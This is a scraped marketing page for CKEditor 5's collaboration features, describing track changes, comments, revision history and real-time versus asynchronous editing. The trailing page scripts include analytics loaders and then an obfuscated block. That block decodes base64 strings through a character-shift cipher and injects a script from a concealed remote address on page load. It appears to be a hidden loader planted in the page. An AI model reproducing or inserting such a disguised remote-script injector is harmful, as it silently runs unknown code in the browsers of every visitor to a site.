Webinar: Designing AI prompts for content creation

Balancing user needs with UX - July 9

Sign up

CKEditor 5
Collaboration Features

Offer your users a Google Docs-like writing experience. Centralize your content creation and review process in a single app thanks to online document collaboration.

Let your users collaborate

CKEditor 5 collaboration features allow your users and teams to collaboratively write, review and discuss right within your application. They include the Track Changes, Comments and Revision History features, all of which are available for both asynchronous and real-time editing.

The Comments and Track Changes features are a must. We can’t have Agreemint without them.
Peter Graham

Peter Graham

CEO and Founder, Agreemint

Track Changes

  • Redline changes in content and then approve or reject them.
  • Suggest changes in the block content, such as inserting tables, images or media.
  • Accept and decline selected or all changes with a single click.
  • Comment on suggestions and create threads on any given change.


  • Add, delete, edit, resolve or reopen comments, @mention users, and create discussion threads.
  • Add comments to block elements such as embedded media or images.
  • Manage user permissions with a comments-only mode.
  • Display comments in a narrow or wide sidebar, or inline.

Revision History

  • Create, view, compare, restore and name versions.
  • Save versions manually or configure automatic save cycles.
  • Perfect for elaborate documents with single or multiple authors.
  • Add changes in the editor and track them in a version preview mode.
We can now run our business bigger, faster and better.
Rick Nash

Rick Nash

Managing Partner, Spotlight

Asynchronous vs. real-time collaborative editing

Both collaborative workflows allow your users to work together within a single application, without the need for third-party tools. They can either collaborate on documents asynchronously or use a real-time editor to write, review and comment on content in a live mode.

SaaS vs. On-premises

Real-time collaboration comes with complete backend solutions for storing data. You can choose the cloud (SaaS) to save the costs and hassle of maintaining a server, or on-premises solutions to have full control over your data (CKEditor 5 is the only collaborative editor in the market to offer an on-premises option).

Want to learn more about CKEditor?

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });